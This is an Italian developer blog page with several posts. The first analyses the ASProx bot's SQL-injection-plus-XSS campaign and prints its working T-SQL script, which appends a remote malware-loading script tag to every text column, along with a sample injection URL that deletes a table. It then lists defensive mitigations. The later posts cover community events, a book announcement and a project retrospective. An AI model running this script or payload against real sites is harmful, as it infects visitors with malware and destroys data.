Ricky.NET - Il blog di Riccardo Golia

Attacco XSS combinato con SQL-Injection

In questi giorni ho assistito al propagarsi di un tipo particolare di attacco verso siti web che sono vulnerabili alla SQL-Injection. Si tratta di un attacco che, sfruttando XSS (Cross Site Scripting), comporta l'attivazione di un malware nel computer del visitatore del sito corrotto. In molti casi l'attivazione del malware viene intercettata dal software antivirus di turno, ma non sempre è così.

L'attacco è portato avanti da un bot noto col nome di ASProx che attacca siti realizzati in ASP, ASP.NET e PHP e utilizza la tecnica DNS Fast-Fluxing per nascondere le locazioni da cui provengono il malware e gli script responsabili della XSS. ASProx sfrutta principalmente due vulnerabilità nei siti target: 1) l'uso di un account dbowner per la connessione al database, 2) la costruzione delle stringhe SQL basata su semplice concatenazione. Queste vulnerabilità vengono usate dal bot per eseguire uno scan del database alla ricerca dei campi testuali dove inserire una stringa del tipo "<script src="http://sitoremoto/ngg.js"></script>". Chiaramente il file "ngg.js" contiene lo script responsabile del caricamento del malware dalla locazione remota nel computer client.

Il fatto che nell'applicazione web la connessione al database sia eseguita con un utente dbowner consente di poter effettuare l'infezione dei campi testuali recuperando le informazioni dalle tabelle di sistema. Di fatto viene lanciato su SQL Server un comando T-SQL simile al seguente:

DECLARE @Table VARCHAR(255)
DECLARE @Column VARCHAR(255)

DECLARE cur CURSOR FOR
SELECT [SO].[Name], [SC].[Name]
FROM sysobjects AS [SO], syscolumns AS [SC]
WHERE ([SO].[ID] = [SC].[ID]) AND ([SO].[XType] = 'U') AND
([SC].[XType] = 99 OR [SC].[XType] = 35 OR [SC].[XType] = 231 OR [SC].[XType] = 167)

OPEN cur
FETCH NEXT FROM cur INTO @Table,@Column

WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @Table + '] SET [' + @Column + '] = RTRIM(CONVERT(VARCHAR, [' + @Column + '])) + ''<script src="http://sitoremoto/ngg.js"></script>''')
FETCH NEXT FROM cur INTO @Table, @Column
END

CLOSE cur
DEALLOCATE cur

Questo comando interroga le tabelle sysobjects e syscolumns alla ricerca dei campi VARCHAR, NVARCHAR, TEXT e NTEXT ed effettua una concatenazione del testo originale con il testo contenente il tag <script />. Il comando viene passato al database agganciandolo alle richieste HTTP di tipo GET. Infatti, dal momento del sito target è vulnerabile alla SQL-Injection, diventa quasi immediato poter eseguire un comando SQL aggiuntivo in quelle pagine che accettano parametri sulla querystring (esempio: "http://www.sitotarget.com/page.aspx?id=1;DELETE FROM Table1;--").

Per poter mitigare la vulnerabilità a questo tipo di attacco che combina SQL-Injection e XSS, occorre: 1) usare per la connessione al database account a privilegi minimi (non dbowner, ma dbdatareader ed eventualmente dbdatawriter), 2) gestire i GRANT sul database in modo consono in base a ciò che l'applicazione deve fare, 3) usare SEMPRE i parametri per la costruzione dei comandi SQL (sono assolutamente da evitare le situazioni del tipo: "SELECT * FROM Table1 WHERE Id=" + Request.QueryString["id"]), 4) validare l'input in modo tale il tipo atteso per i vari parametri sia effettivamente quello passato (se "id" deve essere numerico, occorre verificare che il dato passato sia effettivamente intero), 5) eseguire l'encoding dei valori sulla querystring.

Nonostante le innumerevoli circostanze in cui si è avuto modo di ricordare (anche su ASPItalia.com con i due articoli usciti nel gennaio scorso disponibili qui e qui) quanto sia importante tenere in considerazione l'aspetto della sicurezza applicativa nello sviluppo di applicazioni web, il grande numero di siti corrotti dal bot ASProx che ho avuto modo di vedere in questi giorni mi ha fatto pensare che forse il messaggio è ben lungi dall'essere stato recepito. Troppe volte le problematiche relative alla sicurezza sono sottovalutate o non considerate in toto. Lo vedo dai clienti oppure parlando con gli sviluppatori che mi capita di incontrare. E' un grave errore non gestire le problematiche di sicurezza come un requisito architetturale fondamentale. Prima o poi (come nel caso di ASProx) i nodi vengono al pettine e, quando capita, nella maggior parte dei casi sono dolori!

LA SICUREZZA APPLICATIVA NON E' UN OPTIONAL, MA SEMPRE E COMUNQUE UN REQUISITO FONDAMENTALE!

Meditate, gente, meditate!

Tags: Architettura, Security, Scripting

Slide e demo della mia sessione ai Community Days online

Ho messo da qualche minuto online le demo mostrate alla mia sessione dei Community Days sulla creazione di applicazioni web (sia quella scritta in diretta, sia la versione 2.1 di Pubs), nonchè le slide che sono servite come cappello introduttivo (con tanto di schemino architetturale molto utile per i posteri... :P).

Ringrazio i numerosi partecipanti per essere intervenuti, per aver seguito la sessione fino alle 18:25 senza che nessuno se ne andasse via prima, per le innumerevoli domande, sia durante che dopo la sessione (visto che c'era gente non italiana, alla fine della sessione ho avuto modo di parlare una decina di minuti direttamente in inglese per farmi capire da chi si era fermato oltre).

Ringrazio i compari di sempre, quelli di ASPItalia.com e quelli di UGI, Microsoft per l'ospitalità e a tutti i partecipanti rinnovo l'invito a seguirci nei prossimi eventi che avremo modo di organizzare in futuro. Grazie a tutti e alla prossima.

P.S. Vorrei complimentarmi con Alessio, Marco e Ugo per il loro debutto come speaker. Sono stato molto contento nel vederli così spigliati, del resto non avevo dubbi... Complimenti a tutti e tre! Avanti così...

Tags: .NET Framework, .NET Framework 3.5, Architettura, ASP.NET 3.5, LINQ, LINQ to SQL

Arriva "ASP.NET 3.5 per tutti"

Ebbene si, lo ha già detto Daniele qui, ma mi piace l'idea di poterlo annunciare pure io. Dopo il successo del nostro precedente libro, abbiamo deciso (Daniele, Ricciolo, Stefano ed io) di scrivere anche il seguito: "ASP.NET 3.5 per tutti".

Il libro rappresenta un miglioramento di "ASP.NET 2.0 per tutti", ma non si tratta semplicemente di un aggiornamento incrementale, bensì di un libro nuovo a tutti gli effetti. In esso troverete molte cose nuove, tra cui contenuti inediti relativi alla SP1 di ASP.NET 3.5 e non solo. Oltre a rivedere tutta la parte relativa a sintassi dei linguaggi, OOP & C., abbiamo inserito nel nuovo libro una sezione dedicata alla progettazione e distribuzione delle applicazioni web, affrontando problematiche relative alla sicurezza applicativa, alla strutturazione tramite layering, al deployment e alla configurazione.

Chi ha avuto modo di apprezzare la densità di contenuti e la concretezza di "ASP.NET 2.0 per tutti", non potrà non apprezzare anche quanto andremo a pubblicare nel corso del prossimo ottobre. Il prezzo del nuovo libro sarà ancora una volta imbattibile, assolutamente fuori mercato (cioè basso) rispetto ad altri volumi di pari livello e dimensione.

Tutte le informazioni e una preview del TOC sono disponibili presso il minisito dedicato ad "ASP.NET 3.5 per tutti".

Tags: ASP.NET 3.5 per tutti

MVP Summit 2008

Venerdì scorso sono rientrato dal MVP Summit 2008 tenutosi a Seattle nel corso della scorsa settimana. Per me era la seconda volta che andavo a Seattle per assistere all'evento in questione e posso dire che le mie aspettative personali sono state in generale soddisfatte. Infatti, rispetto all'anno scorso, dove tutto era nuovo e insolito e pertanto ho fatto un po' fatica ad orientarmi, mi sono posto come obiettivo quello di incontrare gente nuova, anche straniera, di conoscere persone e di approfondire la conoscenza di quelle già note (italiane e non). Per fortuna il mio inglese (anche se decisamente migliorabile) in questo mi ha aiutato non poco, rispetto allo scorso anno ho fatto passi da gigante. Ho avuto modo di incontare personaggi più o meno noti, ho salutato ScottGu e l'ho ringraziato per la prefazione al libro (con un anno di ritrado). E' stato molto contento di vederci tutti. Ho conosciuto alcuni membri del team di Silverlight, altri MVP di fama assoluta e ho rivisto con molto piacere Alessandro Catorcini, con cui siamo andati a pranzo insieme in pizzeria.

Il viaggio non è cominciato nel migliore dei modi, tanto per cambiare il mio bagaglio (come quello di altre 10 persone) non è arrivato e nei primi giorni ho dovuto arrangiarmi con il backup che mi ero messo nel bagaglio a mano. Per fronteggiare l'emergenza, mi sono dato allo shopping sfrenato con i soliti noti, Mauro, Davide, Alessandro e "consorte", Raf, Roberto, Gabriele, ecc. Dopo 5 giorni la valigia è arrivata, giusto in tempo per riempirla. Inutile dire che sono rimasto alquanto seccato dal livello del servizio della compagnia aerea, la Bristish Airways. Per eventuali prossimi viaggi, sicuramente sceglierò una compagnia alternativa. Ho fatto reclamo per ottenere un rimborso, vediamo se la compagnia dimostrerà almeno un briciolo di serietà nel rimediare ai suoi disservizi.

Sabato 12 aprile nel pomeriggio ho avuto la fortuna di partecipare ad un party a Kirkland organizzato dagli "italiani" di Microsoft. Inutile dire che è stata un'occasione davvero memorabile, li voglio ringraziare tutti perchè si sono dimostrati disponibili con tutti, simpaticissimi e davvero di buona compagnia. Ho incontrato una vecchia conoscenza dell'università con cui ho avuto modo di fare qualche esame insieme a suo tempo. E' stata una grande sorpresa trovarmi Ivan di fronte dopo tanti anni, non me lo aspettavo davvero. Lui è lì da quasi 10 anni, una vita in pratica... Grande!

La domenica è trascorsa a fare compere e a guardarsi un po' intorno. I giorni seguenti sarebbero stati presi dalla conference e non ci sarebbe stato più tanto tempo a disposizione. Ci siamo sfogati, con il cambio dollaro-euro così vantaggioso è stata una pacchia. Le sessioni dei giorni trascorsi al campus sono state interessanti, alcune hanno mostrato la roadmap dei prodotti futuri, tutto rigorosamente sotto NDA e quindi non riportabile sul blog. Il terzo giorno è stata la volta di Steve Ballmer. E' incredibile starlo a sentire dal vivo, trasmette un'energia assurda, la sua sessione è stata davvero "showtime". Domani sarà qua in Italia per un evento: chi ci potrà andare, non deve lasciarsi perdere l'occasione.

Se devo fare un bilancio, posso dire di essere stato contento di aver partecipato nuovamente al Summit. Andare negli States non è poi così male, la gente è gentile e disponibile ovunque, in certe occasioni è a dir poco accomodante in modo imbarazzante. Ho fatto parecchio networking, ho conosciuto gente nuova, ho scambiato opinioni e, perchè no, imparato qualcosa di nuovo anche da questa esperienza. Semmai ne avrò l'occasione, spero di poter partecipare a questo evento ancora in futuro.

Colgo l'occasione per ringraziare tutti i compagni di viaggio (gli MVP italiani, ovvero i Gladiators) per il tempo trascorso insieme, è sempre un piacere stare insieme e parlare di tecnologia con voi. Alla prossima.

Di seguito un po' di foto in ordine sparso: enjoy!

Foto 1: viaggio in limousine dall'aeroporto all'albergo con Mauro Servienti e Davide Mauri.

Foto 2: in giro per Downtown a fare shopping con i soliti noti, in particolare Mauro, profondo conoscitore di negozi e store.

Foto 3: è stata una sorpresa e un piacere incontrare di nuovo un compagno di corso dell'università (Ivan) che lavora in Microsoft da quasi 10 anni.

Foto 4: foto di guppo dei Gladiators alla registrazione pre-conference della domenica.

Foto 5: insolita foto di gruppo: c'è un intruso... Indovina qual'è!

Foto 6: insieme ad Alessandro "Garbin" Gallo davanti alla scatola del mitico BOB.

Foto 7: alla cena col team ASP.NET insieme a Michiel Van Otegem, MVP olandese.

Foto 8: al Conference Center (Building 33) con Alessandro Alpi, MVP italiano di SQL Server.

Foto 9: il Campus di Microsoft è una piccola città con palazzi, strade, giardini, segnaletica, ecc.

Foto 10: classica foto per chi visita il Campus di Redmond.

Foto 11: la divisa ufficiale dei Gladiators per la serata di gala al museo della musica di Seattle.

Foto 12: un po' di Gladiators "developer" insieme al MVP Lead italiano Alessandro "Alead" Teglia poco dopo la chiusura della sessione plenaria di Steve Ballmer.

Real Code Launch 2008: demo online

Finalmente dopo alcuni giorni di attesa, sono disponibili online le demo presentate al Real Code Launch 2008, ovvero al Community After Hour tenutosi a Roma lo scorso 12 marzo in occasione del roadshow organizzato da Microsoft Italia per il lancio di Windows Server 2008, Visual Studio 2008 e SQL Server 2008. Le demo sono scaricabili all'indirizzo: 2008launch.aspitalia.com.

Nonostante sia passata quasi una settimana e non essendo riuscito a farlo prima, volevo cogliere l'occasione per ringraziare tutto lo staff di Microsoft Italia presente all'evento, gli organizzatori, gli evangelist DEV e IT ed, in particolare, Sara Morandini, Gabriele Castellani e Pietro Brambati per il continuo supporto, per la fiducia e per l'intervista stile rock-band (tra l'altro ricca di retroscena rigorosamente sotto NDA :D).

Organizzato anche nei minimi dettagli, l'evento è stato magico e la formula si è rivelata davvero vincente (merita di essere ripetuta in futuro, a mio modesto parere). La risposta in termini di pubblico e l'interesse sono stati davvero incredibili (300+ persone, come testimonia la foto), ci siamo divertiti tutti davvero tanto.

Un grazie va tutti coloro che si sono fatti un sacco di Km per venire a Roma a sentirci fino alle 22 di sera, a tutti quelli che ci hanno fatto domande (o che ce ne faranno in futuro) su quanto visto durante le nostre sessioni e che hanno dimostrato interesse su quanto facciamo. Eravate una marea di persone, grazie di cuore per essere intervenuti! Vi aspettiamo ai prossimi eventi che terremo durante il 2008 in occasione del decimo anniversario della nostra storia.

Infine un ringraziamento particolare va anche agli altri {eroi} della serata: Daniele (semplicemente perchè è quello che è, unico nel suo genere), Ricciolo (che mi ha sopportato in camera, in aereo e che mi ha offerto uno squisito pranzo a casa sua), al compagno di sessione Stefano (che si è divertito a muovermi il mouse per tutto il tempo durante la sessione fino a mostrare un'immagine a tutto schermo con la scritta: I LOVE DATASETS - li mortacci... :D) e ai mitici "Little Lions Boys" (Marco e Alessio Leoncini).

Le altre foto sono disponibili nella sezione LIVE di ASPItalia.com, in tutto sono una quindicina. Buona visione!

Tags: 10annidi, ASPItalia.com, Visual Studio, Windows Server

Real Code Launch 2008: vi aspettiamo là!

Tra qualche ora partirò per Roma per l'evento di domani. Domani sarò infatti presente con tutto lo staff del nostro network alla tappa di Roma del 2008 Launch Roadshow organizzato da Microsoft Italia in occasione del lancio dei suoi nuovi prodotti (Windows Server 2008, Visual Studio 2008 e SQL Server 2008). Saremo tutto il giorno in giro per le sale conferenze per incontrare la gente della nostra community, per fare quattro chiacchiere con chi ne avrà voglia e per dare un volto a chi conosciamo unicamente tramite un nickname.

Alla sera ci sarà il Community After Hour gestito da noi, intitolato Real Code Launch. Inutile dire che si tratterà ancora una volta di un evento della serie "Real Code", ovvero solo codice, niente slide! Con Stefano avrò il piacere di fare una sessione tecnica su LINQ. Non si tratterà della solita presentazione che spiega che cosa sia LINQ, ma di una sessione estremamente pratica in cui risponderemo ad una semplice domanda: "Ora che abbiamo LINQ, come possiamo usarlo davvero nelle nostre applicazioni?". Del resto il titolo della sessione è: Real LINQ Applications.

Vi mostreremo un'ora di esempi di codice e casi di utilizzo reale. Stefano ha preparato molto materiale estremamente interessante, io per l'occasione ho scritto un'intera applicazione utile a presentare un caso significativo di utilizzo di LINQ to SQL. Per chi mi conosce, sa che agli eventi Real Code rilascio sempre una soluzione intera a disposizione dei partecipanti. Anche in quest'occasione sarà la stessa cosa! Chi ha avuto modo di partecipare al Real Code Day 2 ed ha apprezzato la mia sessione architetturale, non può mancare a questa... Continueremo il discorso iniziato allora e faremo posto a LINQ to SQL per capirne l'utilità, l'applicabilità, i vantaggi e le controindicazioni.

Successivamente all'evento metteremo a disposizione di chi vorrà consultarlo tutto il codice mostrato. Mi risulta che verrà pure fatta una registrazione delle sessioni, ma questo non deve giustificarvi a non partecipare. Ci saranno un sacco di premi e altre sorprese che potrete vedere solo se sarete presenti. Dal momento che le iscrizioni sono chiuse visto che abbiamo raggiunto la quota di 400 iscritti, qualcuno potrebbe decidere di rimanere a casa perchè non ha potuto iscriversi. Venite lo stesso, facciamo entrare tutti, non mandiamo indietro nessuno. Venite senza timori, ci divertiremo insieme!

Vi aspettiamo là, non fatevi scrupoli, veniteci a salutare, fatevi riconoscere! Sarà un vero piacere potervi salutare di persona.

Tags: ASPItalia.com

Oggi parte lo speciale per il lancio di Visual Studio 2008

Con il mio articolo intitolato .NET Framework 3.5 e Visual Studio 2008: cosa c'è di nuovo parte oggi lo speciale dedicato al .NET Framework 3.5, Visual Studio 2008, Windows Server 2008 e SQL Server 2008. Il mio articolo vuole essere una sorta di editoriale che introduce lo speciale e che fornisce una panoramica sull'argomento, rimandando agli altri articoli per ottenere gli approfondimenti del caso.

Come ho avuto modo di dire già in precedenza, lo speciale è composto da dieci articoli e prevede la partecipazione di altrettanti autori. La sua durata sarà di due settimane con la pubblicazione di un articolo al giorno. Ci sarà un mucchio di roba da leggere nei prossimi giorni... :)

Visto che ci sono, colgo l'occasione per dare a tutti i membri della nostra community appuntamento a Milano giovedì prossimo per l'evento ufficiale di lancio promosso da Microsoft. Io sarò da quelle parti giovedì e probabilmente (purtroppo non sono ancora sicuro) anche venerdì. Ovviamente poi ci sarà il Real Code Launch a Roma, ma questa è un'altra storia che merita un post a parte...

Partecipate in massa anche perchè i premi contenuti nel kit di partecipazione sono davvero notevoli! :P

Intanto buona lettura a tutti!

Tags: .NET Framework, .NET Framework 3.5, Visual Studio, Windows Server

Lo speciale per il lancio di Visual Studio 2008

E' con estremo piacere che tramite un focuson su ASPItalia.com ieri mattina ho avuto modo di dare notizia della nuova iniziativa che stiamo mettendo in piedi in questi giorni in vista dell'imminente lancio di Visual Studio 2008. Si tratta dell'enorme speciale dedicato al .NET Framework 3.5 e dintorni che verrà pubblicato a partire dalla fine del mese di febbraio e che coinvolgerà tre dei quattro siti del network, ovvero ASPItalia.com, WinFXItalia.com e il neo-nato LINQItalia.com.

Dieci articoli, uno al giorno, per ben due settimane consecutive! Non era mai capitato prima di fare qualcosa di così ambizioso e corposo, ma questa volta abbiamo proprio deciso di esagerare. Come responsabile dell'area articoli di ASPItalia.com mi sono ritrovato a coordinare gran parte delle attività di pubblicazione. E' stato ed è tuttora un lavoro molto intenso che ha coinvolto, me compreso, ben dieci autori diversi. A loro va il mio ringraziamento: come sempre ho la fortuna di trovarmi a collaborare con persone con una marcia in più, capaci di fare davvero la differenza, il che rende il risultato di quanto facciamo davvero super. Non abbiamo ancora terminato tutto quanto, ma siamo a buon punto e i contenuti che ho avuto modo di leggere finora sono davvero notevoli.

Non mi resta che darvi appuntamento nella sezione articoli a fine mese... Buon lancio e buon speciale a tutti.

Tags: ASPItalia.com

Indovina cosa contiene il kit :)

I ragazzi di Microsoft Italia si sono inventati una bella iniziativa per promuovere la curiosità e l'interesse prima dell'evento di lancio di Visual Studio 2008 e del relativo roadshow.

Si tratta di indovinare che cosa conterrà il kit che verrà distribuito ai partecipanti. Ai vincitori verrà regalata una camicia come quella degli speaker (nuova!).

Per ulteriori informazioni e per partecipare all'iniziativa, è possibile consulare il post dedicato all'argomento presente sul Blog di MSDN Italia. Anche il nostro MVP Lead ha parlato della cosa in un post del suo blog... :)

Che dire, un'iniziativa davvero simpatica... Bravi ragazzi!

[UPDATE DEL 09/02/2008]

Il mistero è svelato. Il kit conterrà quanto segue (un motivo in più per esserci):

Windows Server 2008 RTM Enterprise Edition 32 e 64 bit
SQL Server 2008 CTP 5 + un voucher per richiedere la versione finale
Visual Studio 2008 Standard Edition

Tags: Visual Studio

MVP per un altro anno

Stamattina ho appreso con enorme piacere di aver conseguito per la terza volta il Microsoft MVP Award. La categoria è sempre la stessa, ovvero "Solutions Architect".

Colgo l'occasione per ringraziare Microsoft, il nostro MVP Lead nazionale Alessandro Teglia e tutti coloro che hanno reso possibile questa riconferma.

Storia di un rilascio

E' un po' di tempo che non scrivo nel mio blog. Questo è dovuto principalmente al fatto che ultimamente ho avuto molto da fare (e ne avrò fino a fine anno) con un progetto per un grosso cliente (una multinazionale nel ramo farmaceutico). L'obiettivo del mio lavoro è stato quello di creare i presupposti architetturali per un'applicazione enterprise, che, basandosi su un'interfaccia smart-client e integrandosi con il contesto dei servizi aziendali, fornisse supporto alle operazioni di pianificazione e conduzione delle sperimentazioni di laboratorio.

In questo progetto il mio ruolo è stato, manco a dirlo, quello dell'architetto. Ho coordinato un team di 5 persone sugli aspetti tecnici legati allo sviluppo dell'applicazione e sono stato affiancato da due persone dell'azienda, di cui una era il capo progetto e l'altra era il referente tecnico interno (che mi succederà all'inizio del nuovo anno).

Il team di sviluppo, come detto, è composto da 5 ragazzi, ciascuno proveniente da esperienze molto diverse tra loro, chi ex-developer java, chi ex-sviluppatore python, chi proveniente dal C++ e da VB6, chi developer web con ASP e ASP.NET, chi ex-programmatore in ambiente Dynamics. Insomma, all'inizio del progetto, nessuno era un espertone di applicazioni enterprise in ambito .NET, in particolar modo utilizzando .NET Framework 2.0/3.0 e interfaccia smart-client. Questo avrebbe potuto rappresentare un problema, non lo nego, ma a distanza di tempo posso dire che non è stato così.

Per il progetto, iniziato nel lontano mese di luglio, in fase di start-up furono fissate una serie di date per i rilasci intermedi dell'applicazione. Il primo rilascio (Prototipo 1) era previsto per il 30 novembre scorso, ovvero venerdì scorso. Che dire? Ce l'abbiamo fatta, ma è stata dura!

Il progetto è partito un po' in sordina, i requirement non erano chiari e non si riusciva a far decollare le attività di sviluppo. Questo periodo di incertezza si è protratto però per molto, troppo tempo, dal momento che gli analisti americani non riuscivano a fornire informazioni che non variassero nell'arco delle 24 ore. Come team abbiamo trascorso questo tempo definendo gli standard da adottare nello sviluppo, le pratiche operative e la suddivisione dei compiti, preparando l'ambiente di sviluppo e di debug, nonchè approfondendo alcuni aspetti tecnici tramite lo sviluppo di mini prototipi funzionali e facendo formazione tecnica.

Il risultato è stato che a fine ottobre non avevamo ancora una soluzione su cui lavorare e la prima scadenza si stava avvicinando inesorabilmente. Finalmente, dopo una lunga attesa, nella prima settimana di novembre abbiamo avuto il via libera da parte degli analisti e abbiamo potuto cominciare a lavorare su un insieme di requirement sufficientemente stabile da permettere di definire una soluzione applicativa coerente. Inutile dire che, per come erano andate le cose, pochi avrebbero scommesso sul rilascio del primo prototipo entro la data prevista.

E invece il 30 novembre abbiamo rilasciato la versione 1.0.2.20. In venti giorni abbiamo creato una ventina di build, andando a soddisfare tutti i requisiti funzionali previsti per il primo rilascio. Non è stato facile coordinare le attività, ma personalmente sono riuscito a dare il giusto ritmo, affiancando nello sviluppo a turno ciascuno dei ragazzi del team. Ad oggi abbiamo una soluzione che si compone di più di 600 tipi, considerando anche le classi di unit testing. Da parte mia non mi sono limitato a coordinare, ma ho partecipato attivamente allo sviluppo, realizzando tra l'altro un mini service bus basato su WCF (un layer di integrazione out-of-process) per interoperare coi servizi aziendali del cliente.

Sono molto soddisfatto del lavoro svolto e molto orgoglioso dei ragazzi. Il team ha retto bene, anche perchè so di essere una persona molto esigente. Devo dire però che, rispetto al passato, ho imparato ad accettare le imperfezioni nel codice, adattandomi alla situazione e lasciando un po' più di libertà agli sviluppatori di "sbagliare" e di non seguire ciecamente i dettami architetturali. Proprio per questo, nel prossimo mese avremo da fare un po' di refactoring per consolidare il codice, ma già la versione attuale non è male, considerando le premesse e i tempi di sviluppo.

Ciascuno dei ragazzi ha dato il massimo, sono davvero soddisfatto del modo con cui hanno affrontato la situazione. In rigoroso ordine alfabetico, Alessandro, Lorenzo, Luca, Marco e Patrick si sono dati da fare come poche volte ho avuto modo di sperimentare. Se il progetto è stato rilasciato rispettando lo scheduling e contro ogni previsione, il merito è soprattutto loro... Del resto un architetto da solo è come un allenatore senza squadra: non vincerà mai una partita!

Questa esperienza mi ha insegnato molto, non è facile fare i progetti con persone non espertissime, ma non è impossibile. Anche se sulla carta le esperienze delle persone del team non erano delle migliori, la loro voglia di fare, di imparare e l'impegno hanno colmato il gap, ottenendo un risultato al di là delle aspettative. Come un capitano non può scegliersi i soldati per combattere le sue battaglie, così come architetto non sempre ho la possibilità di scegliermi gli sviluppatori con cui fare i progetti dei clienti. A mio avviso, questa è la vera difficoltà del mio lavoro, al di là degli aspetti tecnici.

A fine mese lascerò il progetto in mano al referente tecnico interno e il team dovrà provare a "camminare" da solo, senza di me. Il mio compito presso il cliente si è esaurito, ma non posso non dire che mi dispiace lasciare un gruppo così affiatato e agguerrito. Grazie ragazzi, siete stati grandi!

We Love Raf!

Raf è unico nel suo genere.
Se non ci credete, leggete qui: www.weloveraf.com.
Attenzione: è tutto vero!

Tags: Off Topic

Articoli in MSDN su Architettura e OOD

In concomitanza con l'ultima uscita della newsletter di MSDN (12 luglio scorso) sono stati pubblicati nel Developer Center di Microsoft Italia i miei ultimi due articoli dedicati ai temi architetturali. Se nelle precedenti uscite mi sono dedicato prevalentemente alla trattazione di un tema interessante ed esteso come quello dei Design Pattern (serie di sei articoli: Design pattern per esempi) usando un approccio pragmatico con tanti esempi di codice a corredo della trattazione teorica, in questa occasione ho preferito scrivere qualcosa di piu' concettuale e astratto.

I due articoli forniscono tutta una serie di definizioni utili a chiarirsi le idee relativamente all'architettura del software e al disegno object-oriented. Nella trattazione di questi argomenti mi sono ispirato a definizioni e classificazioni note in letteratura usando fonti autorevoli come Roger S. Pressman, Robert C. Martin e Craig Larman. Nell'articolo dedicato all'OOD non meno importante e' stato il contributo indiretto di Luca Minudel, compagno di avventure con il wiki di UGIdotNET e con GUISA (Luca e' citato in fondo all'articolo tra i riferimenti).

Credo che questi articoli, come quello di Maurizio Cunico pubblicato un po' di tempo fa nello stesso contesto, possano essere interessanti per inquadrare meglio le attivita' svolte dall'architetto. L'articolo di Maurizio, di cui consiglio vivamente la lettura, e' sicuramente un buon inizio per cominciare a chiarirsi le idee sul ruolo dell'architetto.

I miei due articoli hanno, se vogliamo, un taglio piu' accademico, ma ritengo che possano essere non meno interessanti rispetto a quello di Maurizio, quanto meno per fornire ulteriori spunti di riflessione. Chi mi conosce, sa che questi temi mi stanno particolarmente a cuore. Spero che gli articoli piacciano, a chi avra' voglia di darmi un feedback, non manchero' senz'altro di rispondere.

Buona estate e buone vacanze a tutti!

Tags: Architettura

E anche per quest'anno abbiamo finito...

Con l'articolo del 19 giugno p.v. dedicato alla gestione della persistenza con NHibernate a cura di Marco De Sanctis anche per quest'anno siamo giunti all'interruzione delle pubblicazioni degli articoli su ASPItalia.com in concomitanza con il periodo estivo.

Inutile dire che si è trattato di un altro anno (come il precedente) davvero soddisfacente, durante il quale abbiamo pubblicato 15 articoli in circa 9 mesi, senza considerare gli articoli dello speciale dedicato ad Orcas condiviso con WinFXItalia.com che include altri 4 articoli (per un totale di 19 articoli).

Gli speciali che durante l'annata hanno coinvolto articoli su ASPItalia.com sono stati in tutto 3:

Speciale sul nostro libro "ASP.NET 2.0 per tutti" (6 articoli)
Speciale su ASP.NET AJAX (2 articoli e 3 script)
Speciale su .NET Framework 3.5 Orcas (5 articoli)

Gli articoli pubblicati sono elencati di seguito in ordine di data:

Gestione della persistenza con NHibernate
Marco De Sanctis
19/06/2007
Introduzione a LINQ (WinFXItalia.com e ASPItalia.com)
Stefano Mostarda - Microsoft MVP
08/06/2007
Le novità di ASP.NET Orcas beta 1 (ASPItalia.com e WinFXItalia.com)
Daniele Bochicchio - Microsoft MVP
07/06/2007
Introduzione a Visual Basic 9 (WinFXItalia.com e ASPItalia.com)
Cristian Civera - Microsoft MVP
06/06/2007
Introduzione a C# 3.0 (WinFXItalia.com e ASPItalia.com)
Riccardo Golia - Microsoft MVP
05/06/2007
Le novità in .NET Framework 3.5 (WinFXItalia.com e ASPItalia.com)
Alessandro Catorcini - Microsoft Corp.
04/06/2007
HttpModule di ASP.NET per esempi
Stefano Mostarda - Microsoft MVP
08/05/2007
Introduzione alla libreria AJAX Control Toolkit
Ugo Lattanzi
10/04/2007
Creazione e installazione di un Windows Service
Cristiano Degiorgis
27/02/2007
ASP.NET AJAX 1.0 Server Extensions
Stefano Mostarda - Microsoft MVP
16/02/2007
Introduzione a Microsoft AJAX Library
Alessandro Gallo - Microsoft MVP
13/02/2007
Gestione delle transazioni con il .NET Framework 2.0
Ugo Lattanzi
30/01/2007
Localizzazione e globalizzazione di applicazioni web - Seconda parte
Stefano Mostarda - Microsoft MVP
19/12/2006
Localizzazione e globalizzazione di applicazioni web - Prima parte
Stefano Mostarda - Microsoft MVP
05/12/2006
ASP.NET AJAX Beta 2: intervista a Shawn Burke
Stefano Mostarda - Microsoft MVP
21/11/2006
BuildProvider, ExpressionBuilder e VirtualPathProvider
Cristian Civera - Microsoft MVP
07/11/2006
Programmazione orientata agli oggetti - Seconda parte
Riccardo Golia - Microsoft MVP
24/10/2006
Programmazione orientata agli oggetti - Prima parte
Riccardo Golia - Microsoft MVP
10/10/2006
Personalizzazione dell'utente con le Profile API di ASP.NET 2.0
Daniele Bochicchio - Microsoft MVP
26/09/2006

Colgo l'occasione per ringraziare tutti gli autori per il loro prezioso contributo, senza il quale la sezione articoli non potrebbe esistere, nè avere tutto il seguito che è testimoniato dal numero delle letture, sempre molto alto indipendentemente dall'argomento trattato. GRAZIE A TUTTI!

Inoltre colgo l'occasione per rammentare che chiunque avesse voglia di contribuire con un proprio articolo può contattarci via mail a collabora_at_aspitalia_dot_com. Saremo ben felici di poter valutare e pubblicare insieme a voi i vostri articoli.

Infine ricordo che le pubblicazioni riprenderanno dopo l'estate, presumibilmente nel mese di settembre.

Per intanto buone vacanze a tutti. Ci si legge dopo l'estate.

Tags: ASPItalia.com

Domande dal Real Code Day 2

Qualche giorno fa mi è arrivata una mail di domande riferite alla sessione architetturale che ho avuto modo di tenere recentemente all'evento di Firenze, il Real Code Day 2. L'autore della mail è Andrea Angella, studente di ingegneria informatica all'Università di Pisa. Dal momento che la mail è bella corposa e affronta molti aspetti, credo che la risposta possa essere di interesse pubblico, considerando anche il grande numero di mail che oltre a questa mi sono giunte con richieste di chiarimenti e approfondimenti. Le domande si riferiscono all'applicazione scritta in diretta durante la sessione e disponibile all'indirizzo: http://www.dotnetcircle.it/firenze07.aspx.

Nota: il testo della mail è in italico, le domande sono in grassetto, infine le risposte sono in testo normale.

Ho seguito con molta attenzione la sessione che hai fatto a Firenze sull'architettura (diciamo che quella ero uno degli scopi principali per cui ero venuto al Real Code Day 2) e dopo aver analizzato il codice della soluzione vorrei farti alcune domande:

Ho visto che utilizzi il pattern Abstract Factory per costruire istanze concrete (con o senza cache) di IEntityService<T> come per esempio AuthorService e AuthorCacheService. Lo scopo di queste classi è interagire con il DAL per ottenere istanze di Author o AuthorCollection a seconda che sia stato invocato ReadSingle() o ReadAll(). Il livello UI poi utilizzerà la classe Authors come fonte di informazioni da inserire ad esempio all'interno del controllo GridView. Per accedere ai libri invece la UI utilizza la classe Books che offre diversi metodi per effettuare ricerche e che al suo interno sfrutta le classi BookService o BookCacheService che implementano l'interfaccia ILazyService<T> che a sua volta implementa l'interfaccia IEntityService<T>.

1) Puoi spiegarmi meglio le relazioni per esempio tra le classi BookService e Books?

